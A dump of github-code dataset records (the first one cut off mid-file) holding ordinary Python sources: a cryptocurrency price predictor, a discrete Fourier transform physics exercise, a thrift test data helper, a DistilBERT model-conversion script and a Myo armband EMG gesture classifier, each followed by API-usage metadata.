'%Y-%m-%dT%H:%M:%S').timestamp()\n        except Exception as e:\n            print('Error parsing date: ' + args[1])\n            print_usage()\n            return\n        #Test validity of end date string\n        try:\n            datetime.strptime(args[5], '%Y-%m-%dT%H:%M:%S').timestamp()\n        except Exception as e:\n            print('Error parsing date: ' + args[2])\n            PrintUsage()\n            return\n        start = args[4]\n        end = args[5]\n\n    print(\"api_client_id: {}\".format(api_client_id))\n    print(\"api_client_secret: {}\".format(api_client_secret))\n    print(\"start: {}\".format(start))\n    print(\"start: {}\".format(start))\n    print(\"end: {}\".format(end))\n    print(\"pred_source: {}\".format(pred_source))\n    print(\"market: {}\".format(market))\n    print(\"currency_pair: {}\".format(currency_pair))\n    print(\"period: {}\".format(period))\n    print(\"\\n\")\n\n    #Everything looks okay; proceed with program\n    #Grab the data frame\n    D = fetch_data_from_api(api_client_id, api_client_secret, market, currency_pair, period)\n\n    # print(\"D: {}\".format(D))\n\n    #The number of previous days of data used\n    #when making a prediction\n    num_past_days = 16\n\n    plot_data(D)\n\n    #Number of neurons in the input layer\n    i = num_past_days * 7 + 1\n    #Number of neurons in the output layer\n    o = D.shape[1] - 1\n    #Number of neurons in the hidden layers\n    h = int((i + o) / 2)\n    #The list of layer sizes\n    layers = [i, h, h, h, h, h, h, o]\n\n    if(pred_source.startswith('K_NEIGHBORS')):\n        R = KNeighborsRegressor(n_neighbors = 5)\n    elif(predSource.startswith('MLPR')):\n        R = MLPR(layers, maxItr = 1000, tol = 0.60, reg = 0.001, verbose = False)\n    else:\n        print(\"Source not implemented yet!\")\n        print_usage()\n        return\n\n    sp = Predictor(R, nPastDays = num_past_days)\n    #Learn the dataset and then display performance statistics\n    sp.Learn(D)\n    sp.TestPerformance()\n    #Perform prediction for a specified date range\n\n    P = sp.PredictDate(start, end, period)\n    print(\"P.shape[0]: {}\".format(P.shape[0]))\n    # print(\"P: {}\".format(P))\n\n    #Keep track of number of predicted results for plot\n    n = P.shape[0]\n    #Append the predicted results to the actual results\n    D = P.append(D)\n\n    #Predicted results are the first n rows\n    plot_data(D, range(n + 1))\n\n    print(\"\\n\");\n    print(\"End time = %s\" % datetime.now())\n    print(\"-------------------------------------------------------------------\")\n\n    return (P, n)\n\n\n#Main entry point for the program\nif __name__ == \"__main__\":\n    p, n = main(sys.argv[1:])\n", "repo_name": "cryptomon-io/mlrp-and-kneighborsregressor", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 6222, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.datetime.now", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 46, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 59, "usage_type": "attribute"}, {"api_name": "datetime.datetime.today", "line_number": 80, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 80, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 82, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 84, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 87, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 87, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 89, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 91, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 94, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 94, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 96, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 98, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 101, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 103, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 106, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 107, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 114, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 114, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 121, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 121, "usage_type": "name"}, {"api_name": "Utils.fetch_data_from_api", "line_number": 142, "usage_type": "call"}, {"api_name": "Utils.plot_data", "line_number": 150, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsRegressor", "line_number": 162, "usage_type": "call"}, {"api_name": "TFMLP.MLPR", "line_number": 164, "usage_type": "call"}, {"api_name": "Predictor.Predictor", "line_number": 170, "usage_type": "call"}, {"api_name": "Utils.plot_data", "line_number": 186, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 189, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 189, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 197, "usage_type": "attribute"}]}
{"seq_id": "4185130796", "text": "\n\"\"\"\nCompuatational Physics II\nProject 10\nLalit Chauhdary\nl.chaudhary@jacobs-university.de\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#Discrete Fourier Transform\ndef DFT(ft):\n    N = len(ft)\n    fw= []                     #to store result of DFT\n    for m in range(N):\n        sum = 0.0\n        for n in range(N):\n            sum += ft[n] * np.exp(-1j * 2*np.pi * m * n / N)\n        fw.append((sum / np.sqrt(N)))\n    return fw\n\n#Inverse Discrete Fourier Transform     \ndef InverseDFT(fw):\n    N = len(fw)\n    ft = []\n    for n in range(N):\n        sum = 0.0\n        for m in range(N):\n            sum += fw[m] * np.exp(1j * 2* np.pi * m * n / N)\n        ft.append(sum/np.sqrt(N))\n    return ft\n\n#PART A\n#Input Gaussian\nGaussian_data = []\nmu  = 0                       #Mean\nsigma = 0.5                   #Standard deviation\nN = 50                        #Number of data points\n\nx = np.linspace(-2, 2, N)\n\ndef gaussian (x):\n    return 1/(sigma * np.sqrt(2*np.pi)) * np.exp (-(x - mu)**2 /(2*sigma**2))\n\n#Input data array\nfor xx in x:\n    Gaussian_data.append(gaussian(xx))\n\nplt.plot(x, Gaussian_data, label = 'Original data')\n\nDFT_gaussian = DFT(Gaussian_data)\n\n#Separate real, imaginary and absolute value of result\nDFT_gaussian_real = [d.real for d in DFT_gaussian]\nDFT_gaussian_imag = [d.imag for d in DFT_gaussian]\nDFT_gaussian_abs = [np.abs(d) for d in DFT_gaussian]\n\nplt.plot(x,DFT_gaussian_abs, label = 'magnitude')\nplt.plot(x,DFT_gaussian_real, label = 'real part')\nplt.plot(x,DFT_gaussian_imag, label = 'imaginary part')\n\nplt.legend()\nplt.show()\n\n#PART B\ndef f(x):\n    return np.sin(x)**2 * np.exp(-(x-np.pi/2)**2)\n\nx = np.linspace(0, 3, 50)\n\ndata = [f(t) for t in x]\n\nDFT_data = DFT(data)\nInverse_data = InverseDFT(DFT_data)\n\nplt.figure(2)\nplt.plot(x, data, 'k.', label = 'original data')\nplt.plot(x, [i.real for i in DFT_data], label = 'After DFT')\nplt.plot(x, [i.real for i in Inverse_data], label = 'Retrieved data after IDFT')\nplt.legend()\nplt.show()\n\n#Compare the original data and the back transformed data\ndiff = 0\nfor i in range (len(data)):\n    diff += np.abs (data[i] - Inverse_data[i].real)\n\nif diff >= 1*10**(-7):\n    print('There is some deviation between the original and the retrieved data')\nelse:\n    print('The original and the retrieved data are similar')\n\n", "repo_name": "lalit3c/Computational_Physics", "sub_path": "Project 10/DFT.py", "file_name": "DFT.py", "file_ext": "py", "file_size_in_byte": 2297, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.exp", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 43, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "numpy.sin", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 67, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 86, "usage_type": "call"}]}
{"seq_id": "4221771384", "text": "import hashlib\r\nimport sys\r\n# your gen-py dir\r\nsys.path.append('./gen-py')\r\nfrom ril.ttypes import *\r\nimport json\r\n\r\n\r\nclass FileData():\r\n\r\n    def __init__(self, instanceName=None):\r\n        self.inputfilename=f\"/var/lib/data-test/{instanceName}_inputs.json\"\r\n        self.outputfilename=f\"/var/lib/data-test/{instanceName}_outputs.json\"\r\n        self.outputs={}\r\n        try:\r\n            with open(self.inputfilename) as f:\r\n                self.inputs = json.load(f)\r\n        except:\r\n            self.inputs ={}\r\n        self.step_idx = 0\r\n\r\n    def doStep(self):\r\n        self.step_idx+=1\r\n\r\n    def read(self, var_ref):\r\n        if (str(var_ref) in self.inputs):\r\n            var_inputs = self.inputs.get(str(var_ref))\r\n            if (len(var_inputs) > self.step_idx):\r\n                return var_inputs[self.step_idx]\r\n            else:\r\n                return None\r\n        else:\r\n            return None\r\n\r\n    def write(self, var_ref, value):\r\n        if (not str(var_ref) in self.outputs):\r\n            self.outputs[str(var_ref)] = []\r\n        var_outputs = self.outputs.get(str(var_ref))\r\n        if (len(var_outputs) <= self.step_idx ):\r\n            var_outputs.append(value)\r\n        else:\r\n            var_outputs[self.step_idx] = value\r\n        \r\n    def dump(self):\r\n        with open(self.outputfilename, 'w') as outfile:\r\n            json.dump( self.outputs, outfile)      \r\n", "repo_name": "RaspInLoop/ria-cosimulation-worker", "sub_path": "tests/thrift_server_test/server/FileData.py", "file_name": "FileData.py", "file_ext": "py", "file_size_in_byte": 1396, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.append", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 17, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 46, "usage_type": "call"}]}
{"seq_id": "16556206773", "text": "import torch\nfrom transformers import (\n    DistilBertForSequenceClassification,\n    DistilBertForTokenClassification,\n    DistilBertTokenizer,\n)\n\nMODEL_SA = \"./app/model/model_sa_v7\"\nMODEL_MLC = \"./app/model/model_mlc_v7\"\nMODEL_NER = \"./app/model/model_ner_v7\"\n\nMODEL_SA_OUT = \"./out/sa/\"\nMODEL_MLC_OUT = \"./out/mlc/\"\nMODEL_NER_OUT = \"./out/ner/\"\n\n\n########### SA ###########\ntokenizer = DistilBertTokenizer.from_pretrained(\n    \"distilbert-base-uncased\", do_lower_case=True\n)\nmodel = DistilBertForSequenceClassification.from_pretrained(\n    \"distilbert-base-uncased\", num_labels=3\n)\nmodel.load_state_dict(torch.load(MODEL_SA, map_location=torch.device(\"cpu\")))\nmodel.save_pretrained(MODEL_SA_OUT)\ntokenizer.save_pretrained(MODEL_SA_OUT)\n# tf_model = TFDistilBertForSequenceClassification.from_pretrained(\n#     MODEL_SA_OUT, from_pt=True\n# )\n# tf_model.save_pretrained(MODEL_SA_OUT)\n\n\n########### MLC ###########\ntokenizer = DistilBertTokenizer.from_pretrained(\n    \"distilbert-base-uncased\", do_lower_case=True\n)\nmodel = DistilBertForSequenceClassification.from_pretrained(\n    \"distilbert-base-uncased\", num_labels=4\n)\nmodel.load_state_dict(torch.load(MODEL_MLC, map_location=torch.device(\"cpu\")))\nmodel.save_pretrained(MODEL_MLC_OUT)\ntokenizer.save_pretrained(MODEL_MLC_OUT)\n\n\n########### NER ###########\ntokenizer = DistilBertTokenizer.from_pretrained(\n    \"distilbert-base-cased\", do_lower_case=False\n)\nmodel = DistilBertForTokenClassification.from_pretrained(\n    \"distilbert-base-cased\", num_labels=10\n)\nmodel.load_state_dict(torch.load(MODEL_NER, map_location=torch.device(\"cpu\")))\nmodel.save_pretrained(MODEL_NER_OUT)\ntokenizer.save_pretrained(MODEL_NER_OUT)\n", "repo_name": "cqtan/ma-zdash-nlp", "sub_path": "app/utils/generate_model_configs.py", "file_name": "generate_model_configs.py", "file_ext": "py", "file_size_in_byte": 1670, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "transformers.DistilBertTokenizer.from_pretrained", "line_number": 18, "usage_type": "call"}, {"api_name": "transformers.DistilBertTokenizer", "line_number": 18, "usage_type": "name"}, {"api_name": "transformers.DistilBertForSequenceClassification.from_pretrained", "line_number": 21, "usage_type": "call"}, {"api_name": "transformers.DistilBertForSequenceClassification", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 24, "usage_type": "call"}, {"api_name": "transformers.DistilBertTokenizer.from_pretrained", "line_number": 34, "usage_type": "call"}, {"api_name": "transformers.DistilBertTokenizer", "line_number": 34, "usage_type": "name"}, {"api_name": "transformers.DistilBertForSequenceClassification.from_pretrained", "line_number": 37, "usage_type": "call"}, {"api_name": "transformers.DistilBertForSequenceClassification", "line_number": 37, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 40, "usage_type": "call"}, {"api_name": "transformers.DistilBertTokenizer.from_pretrained", "line_number": 46, "usage_type": "call"}, {"api_name": "transformers.DistilBertTokenizer", "line_number": 46, "usage_type": "name"}, {"api_name": "transformers.DistilBertForTokenClassification.from_pretrained", "line_number": 49, "usage_type": "call"}, {"api_name": "transformers.DistilBertForTokenClassification", "line_number": 49, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 52, "usage_type": "call"}]}
{"seq_id": "36721049419", "text": "from matplotlib import pyplot as plt\r\nfrom collections import deque\r\nfrom threading import Lock, Thread\r\nimport myo  \r\nimport time\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\r\nfrom socket import socket, AF_INET, SOCK_DGRAM\r\nfrom statistics import mode\r\nfrom scipy.spatial import distance\r\n\r\nemg_train=np.array([[] for i in range(8)])\r\n\r\ndef queue_init(dim,q_length):   #dim x lengthのキューを作成\r\n    tmp=deque(maxlen=q_length)\r\n    a=0\r\n    if dim==2:\r\n        a=[0,0]\r\n    for i in range(q_length):\r\n        tmp.append(a)\r\n    return tmp\r\n\r\nfinger_2d = queue_init(2,10)    #直近10回のデータサンプルの2次元座標を保存\r\nfinger_predict = queue_init(1,10)   #上の座標に対応する直近10回のクラス判別結果を保存\r\n\r\ntestdata_2d_rec=[]  #評価タスク時のデータを格納\r\n\r\nfinger_label=[]\r\nemg_features=[]\r\nlda_finger=LinearDiscriminantAnalysis(n_components=2)   #線形判別分析の学習器作成\r\n\r\ncount=0\r\novr_l = 20  #クラス判別に使用するデータサンプルのオーバーラップ分は20sample\r\nwin_l = 40  #解析窓の長さは40sample分\r\n\r\nfps=0.001   #fpsというより、視覚フィードバックの図の更新頻度(とりあえず0.001s感覚でフィードバックに関するwhile部分が動作します)\r\n\r\nqueue_len=6\r\ndo_record=True\r\n\r\nclass_f = 9  # 学習データの動作クラス数(使用データに合わせて変更してください)\r\n\r\nax1=0    #pltのリアルタイムプロット用のグローバル変数(0は仮で代入)(変更不要)\r\nscat_finger=0\r\n\r\ndef update_plot(scat1,ax1): #\r\n    tmp = np.array([x for x in list(finger_2d)])\r\n    scat1.set_offsets(tmp)\r\n    label_ = [\"グー\", \"人差し指\",\"中薬指\",\"小指\",\"パー\",\"ピース\",\"内屈\",\"外屈\",\"無動作\"]\r\n    ax1.set_title(\"finger motion : \" + label_[finger_predict[-1]],fontname=\"MS Gothic\")\r\n    plt.pause(fps)\r\n\r\n\r\nclass EmgCollector(myo.DeviceListener): #Myo armbandを用いた近電位記録に関数するクラス\r\n    \r\n  def __init__(self, n):\r\n    self.idle=False  #Trueの間計測を行う\r\n    self.lock = Lock()\r\n    self.time_pre=0\r\n    self.emg_data_queue = deque(maxlen=win_l)  #クラス判別に使用するデータが格納されるキュー\r\n    self.start_time=time.time() #計測時間の記録に使用\r\n    #以下2つはなぜ入れたか覚えてないです\r\n    self.sampleamount = 0\r\n    self.n = n\r\n\r\n  def get_emg_queue(self):  #呼び出し時に各センサの筋電位データを要素数8のリストで返す\r\n    with self.lock:\r\n      return list(self.emg_data_queue)  #リスト化が必要\r\n\r\n  def on_connected(self, event):\r\n    event.device.stream_emg(True)\r\n\r\n  def start(self):  #筋電位のリアルタイム判別開始に呼び出す\r\n      for i in range(ovr_l):\r\n        self.emg_data_queue.append((0, [0,0,0,0,0,0,0,0]))  #一番最初のデータサンプルだけ解析窓に含まれるデータ半分が0になる\r\n      self.idle=True\r\n\r\n  def predict(self):    #クラスの予測\r\n      tmp=self.get_emg_queue()  #その段階での解析窓を切り出し\r\n      tmp=np.array([x[1] for x in tmp]).T\r\n      test_features=[feature_calc(tmp, win_l)]  #特徴量を計算してリストを得る\r\n      df = pd.DataFrame(test_features)\r\n      global finger_predict,wrist_predict,testdata_2d_rec   #いらない変数があるかもしれない\r\n      lda_fingerresult=int(lda_finger.predict(df.values))   #特徴量のデータからクラス判別を実施\r\n      finger_predict.append(lda_fingerresult)   #判別結果のラベルを保存\r\n      a= lda_finger.transform(df.values)    #先ほどの特徴量を2次元座標に変換\r\n      global finger_2d\r\n      finger_2d.append(a[0])    #座標データの保存\r\n      testdata_2d_rec.append([lda_fingerresult, a[0][0], a[0][1]])  #記録データ用に判別クラス、座標を保存\r\n\r\n\r\n  def end(self):\r\n      self.idle=False\r\n\r\n  def on_emg(self, event):\r\n    with self.lock:\r\n        if self.idle:\r\n            tmp=event.emg\r\n            self.sampleamount+=1\r\n            self.emg_data_queue.append((event.timestamp, event.emg))\r\n\r\n            if self.sampleamount==ovr_l:\r\n                self.sampleamount=0\r\n                thread = Thread(target=self.predict)\r\n                thread.start()\r\n                thread.join(0.0001)\r\n\r\n\r\ndef Record():   #Unityとの同期確認\r\n    print(\"wait msg\")\r\n    ADDR = ''\r\n    PORT = 50004 # 受信ポート\r\n    M_SIZE = 1024\r\n    msg=0\r\n    rcv = socket(AF_INET, SOCK_DGRAM)\r\n    VR_test_start = 0\r\n    rcv.bind((ADDR, PORT))\r\n    while True:\r\n        msg, address = rcv.recvfrom(8192)\r\n        msg_=int(msg[0] - 48)\r\n\r\n        if VR_test_start==0 and msg_==1:\r\n            VR_test_start=1\r\n            global testdata_2d_rec\r\n            testdata_2d_rec=[]\r\n            print(\"msg received record start\")\r\n\r\n        if VR_test_start==1 and msg_==9:\r\n            VR_test_start=0\r\n            print(\"msg received record finished\")\r\n            df = pd.DataFrame(testdata_2d_rec)\r\n            df.to_csv(msg.decode()[1:]+\".csv\")  # Unity側で設定した名前で記録したcsvデータを保存\r\n\r\n\r\nclass Train(object):    #視覚フィードバックに関するクラス\r\n    def __init__(self,listener):\r\n        self.n = listener.n\r\n        self.listener = listener\r\n        \r\n    def Show_emg_fb(self):\r\n        ADDR = '127.0.0.1'\r\n        PORT_TO = 50007  # 送信ポート\r\n        M_SIZE = 1024\r\n        global ax1,finger_2d,scat_finger,finger_predict\r\n        snd = socket(AF_INET, SOCK_DGRAM)\r\n        self.listener.start()\r\n        while True:\r\n            update_plot(scat_finger,ax1)\r\n            msg = str(finger_predict[-1]) + \"0\"\r\n            snd.sendto(msg.encode(),(ADDR,PORT_TO))\r\n\r\n    def Show_emg_nfb(self,df,ff,fm):\r\n        ADDR = '127.0.0.1'\r\n        PORT_TO = 50007  # 送信ポート\r\n        M_SIZE = 1024\r\n        global finger_2d,finger_predict\r\n        fig = plt.figure(figsize=(4, 12))\r\n        ax1 = plt.subplot(111)\r\n        snd = socket(AF_INET, SOCK_DGRAM)\r\n        base_df = df\r\n        features_finger = ff\r\n        base2d_finger = fm\r\n\r\n        basedata_finger = []  # 0番目から各クラスの重心\r\n\r\n        for k in range(class_f):\r\n            tmp = []\r\n            tmp.append([base2d_finger[j][0] for j in range(len(base2d_finger)) if features_finger[j] == (k)])\r\n            tmp.append([base2d_finger[j][1] for j in range(len(base2d_finger)) if features_finger[j] == (k)])\r\n            basedata_finger.append(tmp)\r\n\r\n        basedata_f_centers = []\r\n\r\n        for i in range(class_f):\r\n            tmp = []\r\n            tmp.append(np.mean(basedata_finger[i][0]))\r\n            tmp.append(np.mean(basedata_finger[i][1]))\r\n            basedata_f_centers.append(tmp)\r\n\r\n        # --ここまでが初回計測データからの重心計算と、使用ファイル読み込み\r\n        # ここからが計測データの処理\r\n        basedata_f_cov = []\r\n\r\n        for i in range(class_f):\r\n            tmp = np.cov(basedata_finger[i][0], basedata_finger[i][1])\r\n            basedata_f_cov.append(np.linalg.pinv(tmp))\r\n\r\n        label_ =[\"グー\", \"人差し指\",\"中薬指\",\"小指\",\"パー\",\"ピース\",\"内屈\",\"外屈\",\"無動作\"]\r\n        self.listener.start()\r\n        while True:\r\n            msg=str(finger_predict[-1])+\"0\"\r\n            snd.sendto(msg.encode(),(ADDR,PORT_TO))\r\n            ax1.cla()\r\n            ax1.set_title(\"finger motion : \" + label_[finger_predict[-1]], fontname=\"MS Gothic\")\r\n            f_maharanobis=distance.mahalanobis(list(finger_2d[-1]),basedata_f_centers[finger_predict[-1]],basedata_f_cov[finger_predict[-1]])\r\n            ax1.bar([1], f_maharanobis)\r\n            ax1.set_ylim(0,8)\r\n            plt.pause(0.00001)\r\n\r\ndef feature_calc(emg,win_l):    #特徴量計算を行う関数\r\n    FEATURES = []\r\n    for i in range(8):\r\n        tmp = emg[i]\r\n        FEATURES.append(np.mean(np.abs(tmp)))  # MAV\r\n        \r\n        FEATURES.append(np.var(tmp))  # VAR\r\n        zero = 0\r\n        for j in range(0, win_l - 1):\r\n            if tmp[j] * tmp[j + 1] < 0:\r\n                zero += 1\r\n                \r\n        FEATURES.append(zero)   #ZC\r\n        \r\n        diff = np.diff(tmp, n=1)    # WL\r\n        FEATURES.append(np.sum(np.abs(diff)))\r\n        # freq = np.abs(np.fft.fft(tmp))  # 周波数領域\r\n        # FEATURES.append(np.max(freq))  # PKF\r\n        # FEATURES.append(np.mean(freq))  # MKF\r\n\r\n    return FEATURES\r\n\r\ndef main():\r\n    finger_2d = queue_init(2,queue_len)\r\n    finger_predict = queue_init(1,queue_len)\r\n#-----------------------------------------\r\n    myo.init()\r\n    hub = myo.Hub()\r\n    listener = EmgCollector(512)\r\n\r\n    features_finger=[]\r\n    features_wrist=[]\r\n    with hub.run_in_background(listener.on_event):\r\n        global lda_finger, lda_wrist\r\n        print(\"training\")\r\n        df = pd.read_csv('nkn_r_base0_.csv', header=0, index_col=0)\r\n        features_finger = df.values[:,-1]\r\n        df=df.values[:,0:-1]\r\n        finger_motion = lda_finger.fit(df, features_finger).transform(df)\r\n\r\n        fb = input(\"start Train with FeedBack? y/n:\")\r\n        thread = Thread(target=Record)\r\n        thread.start()\r\n        if fb == \"y\":\r\n            fig = plt.figure(figsize=(18, 12))\r\n            global ax1, ax2, scat_finger, scat_wrist\r\n            ax1 = plt.subplot(111)\r\n            label_ = [\"グー\", \"人差し指\",\"中薬指\",\"小指\",\"パー\",\"ピース\",\"内屈\",\"外屈\",\"無動作\"]\r\n            for k in range(class_f):  # 手描画\r\n                tmp = []\r\n                tmp.append([finger_motion[j][0] for j in range(len(finger_motion)) if features_finger[j] == (k)])\r\n                tmp.append([finger_motion[j][1] for j in range(len(finger_motion)) if features_finger[j] == (k)])\r\n                tmp = np.array(tmp)\r\n                scat_finger = ax1.scatter(tmp[0], tmp[1], label=label_[k], cmap='viridis', edgecolor='blacK')\r\n            ax1.set_title(\"finger_pattern\")\r\n            ax1.legend(labels=label_, fontsize=12,prop={\"family\":\"MS Gothic\"})\r\n            scat_finger = ax1.scatter(0, 0, label=\"current\", c=\"crimson\", s=100,\r\n                                      marker=\"X\")  # 空撃ちすることでリアルタイム分類時のset_datasに備える\r\n\r\n            plt.pause(0.05)\r\n            Train(listener).Show_emg_fb()\r\n        if fb ==\"n\":\r\n            Train(listener).Show_emg_nfb(df,features_finger,finger_motion)\r\n\r\nif __name__ == '__main__':  #一応ここから開始\r\n  main()\r\n", "repo_name": "koji0919/EMG_processing", "sub_path": "EMG_ShowAndRec.py", "file_name": "EMG_ShowAndRec.py", "file_ext": "py", "file_size_in_byte": 10555, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.array", "line_number": 13, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 16, "usage_type": "call"}, {"api_name": "sklearn.discriminant_analysis.LinearDiscriminantAnalysis", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "myo.DeviceListener", "line_number": 55, "usage_type": "attribute"}, {"api_name": "threading.Lock", "line_number": 59, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 61, "usage_type": "call"}, {"api_name": "time.time", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 81, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 83, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 105, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 116, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 116, "usage_type": "argument"}, {"api_name": "socket.SOCK_DGRAM", "line_number": 116, "usage_type": "argument"}, {"api_name": "pandas.DataFrame", "line_number": 132, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 146, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 146, "usage_type": "argument"}, {"api_name": "socket.SOCK_DGRAM", "line_number": 146, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 158, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 158, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 159, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 159, "usage_type": "name"}, {"api_name": "socket.socket", "line_number": 160, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 160, "usage_type": "argument"}, {"api_name": "socket.SOCK_DGRAM", "line_number": 160, "usage_type": "argument"}, {"api_name": "numpy.mean", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.cov", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.linalg.pinv", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 187, "usage_type": "attribute"}, {"api_name": "scipy.spatial.distance.mahalanobis", "line_number": 196, "usage_type": "call"}, {"api_name": "scipy.spatial.distance", "line_number": 196, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 199, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 199, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.var", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 216, 